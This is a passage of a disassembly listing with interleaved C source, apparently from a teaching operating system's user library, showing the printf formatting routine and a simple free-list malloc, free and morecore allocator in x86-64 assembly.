1624: 48 c1 e0 02 shl $0x2,%rax
1628: 48 01 d0 add %rdx,%rax
162b: 48 01 c0 add %rax,%rax
162e: 48 29 c1 sub %rax,%rcx
1631: 48 89 ca mov %rcx,%rdx
1634: 8b 45 f4 mov -0xc(%rbp),%eax
1637: 8d 48 01 lea 0x1(%rax),%ecx
163a: 89 4d f4 mov %ecx,-0xc(%rbp)
163d: 48 b9 20 21 00 00 00 movabs $0x2120,%rcx
1644: 00 00 00
1647: 0f b6 14 11 movzbl (%rcx,%rdx,1),%edx
164b: 48 98 cltq
164d: 88 54 05 e0 mov %dl,-0x20(%rbp,%rax,1)
x /= 10;
1651: 48 8b 4d f8 mov -0x8(%rbp),%rcx
1655: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx
165c: 66 66 66
165f: 48 89 c8 mov %rcx,%rax
1662: 48 f7 ea imul %rdx
1665: 48 c1 fa 02 sar $0x2,%rdx
1669: 48 89 c8 mov %rcx,%rax
166c: 48 c1 f8 3f sar $0x3f,%rax
1670: 48 29 c2 sub %rax,%rdx
1673: 48 89 d0 mov %rdx,%rax
1676: 48 89 45 f8 mov %rax,-0x8(%rbp)
} while(x != 0);
167a: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
167f: 0f 85 7a ff ff ff jne 15ff <print_d+0x2c>
if (v < 0)
1685: 83 7d d8 00 cmpl $0x0,-0x28(%rbp)
1689: 79 32 jns 16bd <print_d+0xea>
buf[i++] = '-';
168b: 8b 45 f4 mov -0xc(%rbp),%eax
168e: 8d 50 01 lea 0x1(%rax),%edx
1691: 89 55 f4 mov %edx,-0xc(%rbp)
1694: 48 98 cltq
1696: c6 44 05 e0 2d movb $0x2d,-0x20(%rbp,%rax,1)
while (--i >= 0)
169b: eb 20 jmp 16bd <print_d+0xea>
putc(fd, buf[i]);
169d: 8b 45 f4 mov -0xc(%rbp),%eax
16a0: 48 98 cltq
16a2: 0f b6 44 05 e0 movzbl -0x20(%rbp,%rax,1),%eax
16a7: 0f be d0 movsbl %al,%edx
16aa: 8b 45 dc mov -0x24(%rbp),%eax
16ad: 89 d6 mov %edx,%esi
16af: 89 c7 mov %eax,%edi
16b1: 48 b8 e5 14 00 00 00 movabs $0x14e5,%rax
16b8: 00 00 00
16bb: ff d0 callq *%rax
while (--i >= 0)
16bd: 83 6d f4 01 subl $0x1,-0xc(%rbp)
16c1: 83 7d f4 00 cmpl $0x0,-0xc(%rbp)
16c5: 79 d6 jns 169d <print_d+0xca>
}
16c7: 90 nop
16c8: 90 nop
16c9: c9 leaveq
16ca: c3 retq
00000000000016cb <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
16cb: f3 0f 1e fa endbr64
16cf: 55 push %rbp
16d0: 48 89 e5 mov %rsp,%rbp
16d3: 48 81 ec f0 00 00 00 sub $0xf0,%rsp
16da: 89 bd 1c ff ff ff mov %edi,-0xe4(%rbp)
16e0: 48 89 b5 10 ff ff ff mov %rsi,-0xf0(%rbp)
16e7: 48 89 95 60 ff ff ff mov %rdx,-0xa0(%rbp)
16ee: 48 89 8d 68 ff ff ff mov %rcx,-0x98(%rbp)
16f5: 4c 89 85 70 ff ff ff mov %r8,-0x90(%rbp)
16fc: 4c 89 8d 78 ff ff ff mov %r9,-0x88(%rbp)
1703: 84 c0 test %al,%al
1705: 74 20 je 1727 <printf+0x5c>
1707: 0f 29 45 80 movaps %xmm0,-0x80(%rbp)
170b: 0f 29 4d 90 movaps %xmm1,-0x70(%rbp)
170f: 0f 29 55 a0 movaps %xmm2,-0x60(%rbp)
1713: 0f 29 5d b0 movaps %xmm3,-0x50(%rbp)
1717: 0f 29 65 c0 movaps %xmm4,-0x40(%rbp)
171b: 0f 29 6d d0 movaps %xmm5,-0x30(%rbp)
171f: 0f 29 75 e0 movaps %xmm6,-0x20(%rbp)
1723: 0f 29 7d f0 movaps %xmm7,-0x10(%rbp)
va_list ap;
int i, c;
char *s;
va_start(ap, fmt);
1727: c7 85 20 ff ff ff 10 movl $0x10,-0xe0(%rbp)
172e: 00 00 00
1731: c7 85 24 ff ff ff 30 movl $0x30,-0xdc(%rbp)
1738: 00 00 00
173b: 48 8d 45 10 lea 0x10(%rbp),%rax
173f: 48 89 85 28 ff ff ff mov %rax,-0xd8(%rbp)
1746: 48 8d 85 50 ff ff ff lea -0xb0(%rbp),%rax
174d: 48 89 85 30 ff ff ff mov %rax,-0xd0(%rbp)
for (i = 0; (c = fmt[i] & 0xff) != 0; i++) {
1754: c7 85 4c ff ff ff 00 movl $0x0,-0xb4(%rbp)
175b: 00 00 00
175e: e9 41 03 00 00 jmpq 1aa4 <printf+0x3d9>
if (c != '%') {
1763: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp)
176a: 74 24 je 1790 <printf+0xc5>
putc(fd, c);
176c: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax
1772: 0f be d0 movsbl %al,%edx
1775: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
177b: 89 d6 mov %edx,%esi
177d: 89 c7 mov %eax,%edi
177f: 48 b8 e5 14 00 00 00 movabs $0x14e5,%rax
1786: 00 00 00
1789: ff d0 callq *%rax
continue;
178b: e9 0d 03 00 00 jmpq 1a9d <printf+0x3d2>
}
c = fmt[++i] & 0xff;
1790: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp)
1797: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax
179d: 48 63 d0 movslq %eax,%rdx
17a0: 48 8b 85 10 ff ff ff mov -0xf0(%rbp),%rax
17a7: 48 01 d0 add %rdx,%rax
17aa: 0f b6 00 movzbl (%rax),%eax
17ad: 0f be c0 movsbl %al,%eax
17b0: 25 ff 00 00 00 and $0xff,%eax
17b5: 89 85 3c ff ff ff mov %eax,-0xc4(%rbp)
if (c == 0)
17bb: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp)
17c2: 0f 84 0f 03 00 00 je 1ad7 <printf+0x40c>
break;
switch(c) {
17c8: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp)
17cf: 0f 84 74 02 00 00 je 1a49 <printf+0x37e>
17d5: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp)
17dc: 0f 8c 82 02 00 00 jl 1a64 <printf+0x399>
17e2: 83 bd 3c ff ff ff 78 cmpl $0x78,-0xc4(%rbp)
17e9: 0f 8f 75 02 00 00 jg 1a64 <printf+0x399>
17ef: 83 bd 3c ff ff ff 63 cmpl $0x63,-0xc4(%rbp)
17f6: 0f 8c 68 02 00 00 jl 1a64 <printf+0x399>
17fc: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax
1802: 83 e8 63 sub $0x63,%eax
1805: 83 f8 15 cmp $0x15,%eax
1808: 0f 87 56 02 00 00 ja 1a64 <printf+0x399>
180e: 89 c0 mov %eax,%eax
1810: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
1817: 00
1818: 48 b8 f8 1d 00 00 00 movabs $0x1df8,%rax
181f: 00 00 00
1822: 48 01 d0 add %rdx,%rax
1825: 48 8b 00 mov (%rax),%rax
1828: 3e ff e0 notrack jmpq *%rax
case 'c':
putc(fd, va_arg(ap, int));
182b: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
1831: 83 f8 2f cmp $0x2f,%eax
1834: 77 23 ja 1859 <printf+0x18e>
1836: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
183d: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1843: 89 d2 mov %edx,%edx
1845: 48 01 d0 add %rdx,%rax
1848: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
184e: 83 c2 08 add $0x8,%edx
1851: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1857: eb 12 jmp 186b <printf+0x1a0>
1859: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
1860: 48 8d 50 08 lea 0x8(%rax),%rdx
1864: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
186b: 8b 00 mov (%rax),%eax
186d: 0f be d0 movsbl %al,%edx
1870: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1876: 89 d6 mov %edx,%esi
1878: 89 c7 mov %eax,%edi
187a: 48 b8 e5 14 00 00 00 movabs $0x14e5,%rax
1881: 00 00 00
1884: ff d0 callq *%rax
break;
1886: e9 12 02 00 00 jmpq 1a9d <printf+0x3d2>
case 'd':
print_d(fd, va_arg(ap, int));
188b: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
1891: 83 f8 2f cmp $0x2f,%eax
1894: 77 23 ja 18b9 <printf+0x1ee>
1896: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
189d: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
18a3: 89 d2 mov %edx,%edx
18a5: 48 01 d0 add %rdx,%rax
18a8: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
18ae: 83 c2 08 add $0x8,%edx
18b1: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
18b7: eb 12 jmp 18cb <printf+0x200>
18b9: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
18c0: 48 8d 50 08 lea 0x8(%rax),%rdx
18c4: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
18cb: 8b 10 mov (%rax),%edx
18cd: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
18d3: 89 d6 mov %edx,%esi
18d5: 89 c7 mov %eax,%edi
18d7: 48 b8 d3 15 00 00 00 movabs $0x15d3,%rax
18de: 00 00 00
18e1: ff d0 callq *%rax
break;
18e3: e9 b5 01 00 00 jmpq 1a9d <printf+0x3d2>
case 'x':
print_x32(fd, va_arg(ap, uint));
18e8: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
18ee: 83 f8 2f cmp $0x2f,%eax
18f1: 77 23 ja 1916 <printf+0x24b>
18f3: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
18fa: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1900: 89 d2 mov %edx,%edx
1902: 48 01 d0 add %rdx,%rax
1905: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
190b: 83 c2 08 add $0x8,%edx
190e: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1914: eb 12 jmp 1928 <printf+0x25d>
1916: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
191d: 48 8d 50 08 lea 0x8(%rax),%rdx
1921: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
1928: 8b 10 mov (%rax),%edx
192a: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1930: 89 d6 mov %edx,%esi
1932: 89 c7 mov %eax,%edi
1934: 48 b8 76 15 00 00 00 movabs $0x1576,%rax
193b: 00 00 00
193e: ff d0 callq *%rax
break;
1940: e9 58 01 00 00 jmpq 1a9d <printf+0x3d2>
case 'p':
print_x64(fd, va_arg(ap, addr_t));
1945: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
194b: 83 f8 2f cmp $0x2f,%eax
194e: 77 23 ja 1973 <printf+0x2a8>
1950: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
1957: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
195d: 89 d2 mov %edx,%edx
195f: 48 01 d0 add %rdx,%rax
1962: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1968: 83 c2 08 add $0x8,%edx
196b: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1971: eb 12 jmp 1985 <printf+0x2ba>
1973: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
197a: 48 8d 50 08 lea 0x8(%rax),%rdx
197e: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
1985: 48 8b 10 mov (%rax),%rdx
1988: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
198e: 48 89 d6 mov %rdx,%rsi
1991: 89 c7 mov %eax,%edi
1993: 48 b8 19 15 00 00 00 movabs $0x1519,%rax
199a: 00 00 00
199d: ff d0 callq *%rax
break;
199f: e9 f9 00 00 00 jmpq 1a9d <printf+0x3d2>
case 's':
if ((s = va_arg(ap, char*)) == 0)
19a4: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
19aa: 83 f8 2f cmp $0x2f,%eax
19ad: 77 23 ja 19d2 <printf+0x307>
19af: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
19b6: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
19bc: 89 d2 mov %edx,%edx
19be: 48 01 d0 add %rdx,%rax
19c1: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
19c7: 83 c2 08 add $0x8,%edx
19ca: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
19d0: eb 12 jmp 19e4 <printf+0x319>
19d2: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
19d9: 48 8d 50 08 lea 0x8(%rax),%rdx
19dd: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
19e4: 48 8b 00 mov (%rax),%rax
19e7: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp)
19ee: 48 83 bd 40 ff ff ff cmpq $0x0,-0xc0(%rbp)
19f5: 00
19f6: 75 41 jne 1a39 <printf+0x36e>
s = "(null)";
19f8: 48 b8 f0 1d 00 00 00 movabs $0x1df0,%rax
19ff: 00 00 00
1a02: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp)
while (*s)
1a09: eb 2e jmp 1a39 <printf+0x36e>
putc(fd, *(s++));
1a0b: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax
1a12: 48 8d 50 01 lea 0x1(%rax),%rdx
1a16: 48 89 95 40 ff ff ff mov %rdx,-0xc0(%rbp)
1a1d: 0f b6 00 movzbl (%rax),%eax
1a20: 0f be d0 movsbl %al,%edx
1a23: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1a29: 89 d6 mov %edx,%esi
1a2b: 89 c7 mov %eax,%edi
1a2d: 48 b8 e5 14 00 00 00 movabs $0x14e5,%rax
1a34: 00 00 00
1a37: ff d0 callq *%rax
while (*s)
1a39: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax
1a40: 0f b6 00 movzbl (%rax),%eax
1a43: 84 c0 test %al,%al
1a45: 75 c4 jne 1a0b <printf+0x340>
break;
1a47: eb 54 jmp 1a9d <printf+0x3d2>
case '%':
putc(fd, '%');
1a49: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1a4f: be 25 00 00 00 mov $0x25,%esi
1a54: 89 c7 mov %eax,%edi
1a56: 48 b8 e5 14 00 00 00 movabs $0x14e5,%rax
1a5d: 00 00 00
1a60: ff d0 callq *%rax
break;
1a62: eb 39 jmp 1a9d <printf+0x3d2>
default:
// Print unknown % sequence to draw attention.
putc(fd, '%');
1a64: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1a6a: be 25 00 00 00 mov $0x25,%esi
1a6f: 89 c7 mov %eax,%edi
1a71: 48 b8 e5 14 00 00 00 movabs $0x14e5,%rax
1a78: 00 00 00
1a7b: ff d0 callq *%rax
putc(fd, c);
1a7d: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax
1a83: 0f be d0 movsbl %al,%edx
1a86: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1a8c: 89 d6 mov %edx,%esi
1a8e: 89 c7 mov %eax,%edi
1a90: 48 b8 e5 14 00 00 00 movabs $0x14e5,%rax
1a97: 00 00 00
1a9a: ff d0 callq *%rax
break;
1a9c: 90 nop
for (i = 0; (c = fmt[i] & 0xff) != 0; i++) {
1a9d: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp)
1aa4: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax
1aaa: 48 63 d0 movslq %eax,%rdx
1aad: 48 8b 85 10 ff ff ff mov -0xf0(%rbp),%rax
1ab4: 48 01 d0 add %rdx,%rax
1ab7: 0f b6 00 movzbl (%rax),%eax
1aba: 0f be c0 movsbl %al,%eax
1abd: 25 ff 00 00 00 and $0xff,%eax
1ac2: 89 85 3c ff ff ff mov %eax,-0xc4(%rbp)
1ac8: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp)
1acf: 0f 85 8e fc ff ff jne 1763 <printf+0x98>
}
}
}
1ad5: eb 01 jmp 1ad8 <printf+0x40d>
break;
1ad7: 90 nop
}
1ad8: 90 nop
1ad9: c9 leaveq
1ada: c3 retq
0000000000001adb <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
1adb: f3 0f 1e fa endbr64
1adf: 55 push %rbp
1ae0: 48 89 e5 mov %rsp,%rbp
1ae3: 48 83 ec 18 sub $0x18,%rsp
1ae7: 48 89 7d e8 mov %rdi,-0x18(%rbp)
Header *bp, *p;
bp = (Header*)ap - 1;
1aeb: 48 8b 45 e8 mov -0x18(%rbp),%rax
1aef: 48 83 e8 10 sub $0x10,%rax
1af3: 48 89 45 f0 mov %rax,-0x10(%rbp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1af7: 48 b8 50 21 00 00 00 movabs $0x2150,%rax
1afe: 00 00 00
1b01: 48 8b 00 mov (%rax),%rax
1b04: 48 89 45 f8 mov %rax,-0x8(%rbp)
1b08: eb 2f jmp 1b39 <free+0x5e>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1b0a: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b0e: 48 8b 00 mov (%rax),%rax
1b11: 48 39 45 f8 cmp %rax,-0x8(%rbp)
1b15: 72 17 jb 1b2e <free+0x53>
1b17: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b1b: 48 3b 45 f8 cmp -0x8(%rbp),%rax
1b1f: 77 2f ja 1b50 <free+0x75>
1b21: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b25: 48 8b 00 mov (%rax),%rax
1b28: 48 39 45 f0 cmp %rax,-0x10(%rbp)
1b2c: 72 22 jb 1b50 <free+0x75>
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1b2e: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b32: 48 8b 00 mov (%rax),%rax
1b35: 48 89 45 f8 mov %rax,-0x8(%rbp)
1b39: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b3d: 48 3b 45 f8 cmp -0x8(%rbp),%rax
1b41: 76 c7 jbe 1b0a <free+0x2f>
1b43: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b47: 48 8b 00 mov (%rax),%rax
1b4a: 48 39 45 f0 cmp %rax,-0x10(%rbp)
1b4e: 73 ba jae 1b0a <free+0x2f>
break;
if(bp + bp->s.size == p->s.ptr){
1b50: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b54: 8b 40 08 mov 0x8(%rax),%eax
1b57: 89 c0 mov %eax,%eax
1b59: 48 c1 e0 04 shl $0x4,%rax
1b5d: 48 89 c2 mov %rax,%rdx
1b60: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b64: 48 01 c2 add %rax,%rdx
1b67: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b6b: 48 8b 00 mov (%rax),%rax
1b6e: 48 39 c2 cmp %rax,%rdx
1b71: 75 2d jne 1ba0 <free+0xc5>
bp->s.size += p->s.ptr->s.size;
1b73: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b77: 8b 50 08 mov 0x8(%rax),%edx
1b7a: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b7e: 48 8b 00 mov (%rax),%rax
1b81: 8b 40 08 mov 0x8(%rax),%eax
1b84: 01 c2 add %eax,%edx
1b86: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b8a: 89 50 08 mov %edx,0x8(%rax)
bp->s.ptr = p->s.ptr->s.ptr;
1b8d: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b91: 48 8b 00 mov (%rax),%rax
1b94: 48 8b 10 mov (%rax),%rdx
1b97: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b9b: 48 89 10 mov %rdx,(%rax)
1b9e: eb 0e jmp 1bae <free+0xd3>
} else
bp->s.ptr = p->s.ptr;
1ba0: 48 8b 45 f8 mov -0x8(%rbp),%rax
1ba4: 48 8b 10 mov (%rax),%rdx
1ba7: 48 8b 45 f0 mov -0x10(%rbp),%rax
1bab: 48 89 10 mov %rdx,(%rax)
if(p + p->s.size == bp){
1bae: 48 8b 45 f8 mov -0x8(%rbp),%rax
1bb2: 8b 40 08 mov 0x8(%rax),%eax
1bb5: 89 c0 mov %eax,%eax
1bb7: 48 c1 e0 04 shl $0x4,%rax
1bbb: 48 89 c2 mov %rax,%rdx
1bbe: 48 8b 45 f8 mov -0x8(%rbp),%rax
1bc2: 48 01 d0 add %rdx,%rax
1bc5: 48 39 45 f0 cmp %rax,-0x10(%rbp)
1bc9: 75 27 jne 1bf2 <free+0x117>
p->s.size += bp->s.size;
1bcb: 48 8b 45 f8 mov -0x8(%rbp),%rax
1bcf: 8b 50 08 mov 0x8(%rax),%edx
1bd2: 48 8b 45 f0 mov -0x10(%rbp),%rax
1bd6: 8b 40 08 mov 0x8(%rax),%eax
1bd9: 01 c2 add %eax,%edx
1bdb: 48 8b 45 f8 mov -0x8(%rbp),%rax
1bdf: 89 50 08 mov %edx,0x8(%rax)
p->s.ptr = bp->s.ptr;
1be2: 48 8b 45 f0 mov -0x10(%rbp),%rax
1be6: 48 8b 10 mov (%rax),%rdx
1be9: 48 8b 45 f8 mov -0x8(%rbp),%rax
1bed: 48 89 10 mov %rdx,(%rax)
1bf0: eb 0b jmp 1bfd <free+0x122>
} else
p->s.ptr = bp;
1bf2: 48 8b 45 f8 mov -0x8(%rbp),%rax
1bf6: 48 8b 55 f0 mov -0x10(%rbp),%rdx
1bfa: 48 89 10 mov %rdx,(%rax)
freep = p;
1bfd: 48 ba 50 21 00 00 00 movabs $0x2150,%rdx
1c04: 00 00 00
1c07: 48 8b 45 f8 mov -0x8(%rbp),%rax
1c0b: 48 89 02 mov %rax,(%rdx)
}
1c0e: 90 nop
1c0f: c9 leaveq
1c10: c3 retq
0000000000001c11 <morecore>:
static Header*
morecore(uint nu)
{
1c11: f3 0f 1e fa endbr64
1c15: 55 push %rbp
1c16: 48 89 e5 mov %rsp,%rbp
1c19: 48 83 ec 20 sub $0x20,%rsp
1c1d: 89 7d ec mov %edi,-0x14(%rbp)
char *p;
Header *hp;
if(nu < 4096)
1c20: 81 7d ec ff 0f 00 00 cmpl $0xfff,-0x14(%rbp)
1c27: 77 07 ja 1c30 <morecore+0x1f>
nu = 4096;
1c29: c7 45 ec 00 10 00 00 movl $0x1000,-0x14(%rbp)
p = sbrk(nu * sizeof(Header));
1c30: 8b 45 ec mov -0x14(%rbp),%eax
1c33: 48 c1 e0 04 shl $0x4,%rax
1c37: 48 89 c7 mov %rax,%rdi
1c3a: 48 b8 b1 14 00 00 00 movabs $0x14b1,%rax
1c41: 00 00 00
1c44: ff d0 callq *%rax
1c46: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(p == (char*)-1)
1c4a: 48 83 7d f8 ff cmpq $0xffffffffffffffff,-0x8(%rbp)
1c4f: 75 07 jne 1c58 <morecore+0x47>
return 0;
1c51: b8 00 00 00 00 mov $0x0,%eax
1c56: eb 36 jmp 1c8e <morecore+0x7d>
hp = (Header*)p;
1c58: 48 8b 45 f8 mov -0x8(%rbp),%rax
1c5c: 48 89 45 f0 mov %rax,-0x10(%rbp)
hp->s.size = nu;
1c60: 48 8b 45 f0 mov -0x10(%rbp),%rax
1c64: 8b 55 ec mov -0x14(%rbp),%edx
1c67: 89 50 08 mov %edx,0x8(%rax)
free((void*)(hp + 1));
1c6a: 48 8b 45 f0 mov -0x10(%rbp),%rax
1c6e: 48 83 c0 10 add $0x10,%rax
1c72: 48 89 c7 mov %rax,%rdi
1c75: 48 b8 db 1a 00 00 00 movabs $0x1adb,%rax
1c7c: 00 00 00
1c7f: ff d0 callq *%rax
return freep;
1c81: 48 b8 50 21 00 00 00 movabs $0x2150,%rax
1c88: 00 00 00
1c8b: 48 8b 00 mov (%rax),%rax
}
1c8e: c9 leaveq
1c8f: c3 retq
0000000000001c90 <malloc>:
void*
malloc(uint nbytes)
{
1c90: f3 0f 1e fa endbr64
1c94: 55 push %rbp
1c95: 48 89 e5 mov %rsp,%rbp
1c98: 48 83 ec 30 sub $0x30,%rsp
1c9c: 89 7d dc mov %edi,-0x24(%rbp)
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1c9f: 8b 45 dc mov -0x24(%rbp),%eax
1ca2: 48 83 c0 0f add $0xf,%rax
1ca6: 48 c1 e8 04 shr $0x4,%rax
1caa: 83 c0 01 add $0x1,%eax
1cad: 89 45 ec mov %eax,-0x14(%rbp)
if((prevp = freep) == 0){
1cb0: 48 b8 50 21 00 00 00 movabs $0x2150,%rax
1cb7: 00 00 00
1cba: 48 8b 00 mov (%rax),%rax
1cbd: 48 89 45 f0 mov %rax,-0x10(%rbp)
1cc1: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
1cc6: 75 4a jne 1d12 <malloc+0x82>
base.s.ptr = freep = prevp = &base;
1cc8: 48 b8 40 21 00 00 00 movabs $0x2140,%rax
1ccf: 00 00 00
1cd2: 48 89 45 f0 mov %rax,-0x10(%rbp)
1cd6: 48 ba 50 21 00 00 00 movabs $0x2150,%rdx
1cdd: 00 00 00
1ce0: 48 8b 45 f0 mov -0x10(%rbp),%rax
1ce4: 48 89 02 mov %rax,(%rdx)
1ce7: 48 b8 50 21 00 00 00 movabs $0x2150,%rax
1cee: 00 00 00
1cf1: 48 8b 00 mov (%rax),%rax
1cf4: 48 ba 40 21 00 00 00 movabs $0x2140,%rdx
1cfb: 00 00 00
1cfe: 48 89 02 mov %rax,(%rdx)
base.s.size = 0;
1d01: 48 b8 40 21 00 00 00 movabs $0x2140,%rax
1d08: 00 00 00
1d0b: c7 40 08 00 00 00 00 movl $0x0,0x8(%rax)
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1d12: 48 8b 45 f0 mov -0x10(%rbp),%rax
1d16: 48 8b 00 mov (%rax),%rax
1d19: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(p->s.size >= nunits){
1d1d: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d21: 8b 40 08 mov 0x8(%rax),%eax
1d24: 39 45 ec cmp %eax,-0x14(%rbp)
1d27: 77 65 ja 1d8e <malloc+0xfe>
if(p->s.size == nunits)
1d29: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d2d: 8b 40 08 mov 0x8(%rax),%eax
1d30: 39 45 ec cmp %eax,-0x14(%rbp)
1d33: 75 10 jne 1d45 <malloc+0xb5>
prevp->s.ptr = p->s.ptr;
1d35: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d39: 48 8b 10 mov (%rax),%rdx
1d3c: 48 8b 45 f0 mov -0x10(%rbp),%rax
1d40: 48 89 10 mov %rdx,(%rax)
1d43: eb 2e jmp 1d73 <malloc+0xe3>
else {
p->s.size -= nunits;
1d45: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d49: 8b 40 08 mov 0x8(%rax),%eax
1d4c: 2b 45 ec sub -0x14(%rbp),%eax
1d4f: 89 c2 mov %eax,%edx
1d51: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d55: 89 50 08 mov %edx,0x8(%rax)
p += p->s.size;
1d58: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d5c: 8b 40 08 mov 0x8(%rax),%eax
1d5f: 89 c0 mov %eax,%eax
1d61: 48 c1 e0 04 shl $0x4,%rax
1d65: 48 01 45 f8 add %rax,-0x8(%rbp)
p->s.size = nunits;
1d69: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d6d: 8b 55 ec mov -0x14(%rbp),%edx
1d70: 89 50 08 mov %edx,0x8(%rax)
}
freep = prevp;
1d73: 48 ba 50 21 00 00 00 movabs $0x2150,%rdx
1d7a: 00 00 00
1d7d: 48 8b 45 f0 mov -0x10(%rbp),%rax
1d81: 48 89 02 mov %rax,(%rdx)
return (void*)(p + 1);
1d84: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d88: 48 83 c0 10 add $0x10,%rax
1d8c: eb 4e jmp 1ddc <malloc+0x14c>
}
if(p == freep)
1d8e: 48 b8 50 21 00 00 00 movabs $0x2150,%rax
1d95: 00 00 00
1d98: 48 8b 00 mov (%rax),%rax
1d9b: 48 39 45 f8 cmp %rax,-0x8(%rbp)
1d9f: 75 23 jne 1dc4 <malloc+0x134>
if((p = morecore(nunits)) == 0)
1da1: 8b 45 ec mov -0x14(%rbp),%eax
1da4: 89 c7 mov %eax,%edi
1da6: 48 b8 11 1c 00 00 00 movabs $0x1c11,%rax
1dad: 00 00 00
1db0: ff d0 callq *%rax
1db2: 48 89 45 f8 mov %rax,-0x8(%rbp)
1db6: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
1dbb: 75 07 jne 1dc4 <malloc+0x134>
return 0;
1dbd: b8 00 00 00 00 mov $0x0,%eax
1dc2: eb 18 jmp 1ddc <malloc+0x14c>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1dc4: 48 8b 45 f8 mov -0x8(%rbp),%rax
1dc8: 48 89 45 f0 mov %rax,-0x10(%rbp)
1dcc: 48 8b 45 f8 mov -0x8(%rbp),%rax
1dd0: 48 8b 00 mov (%rax),%rax
1dd3: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(p->s.size >= nunits){
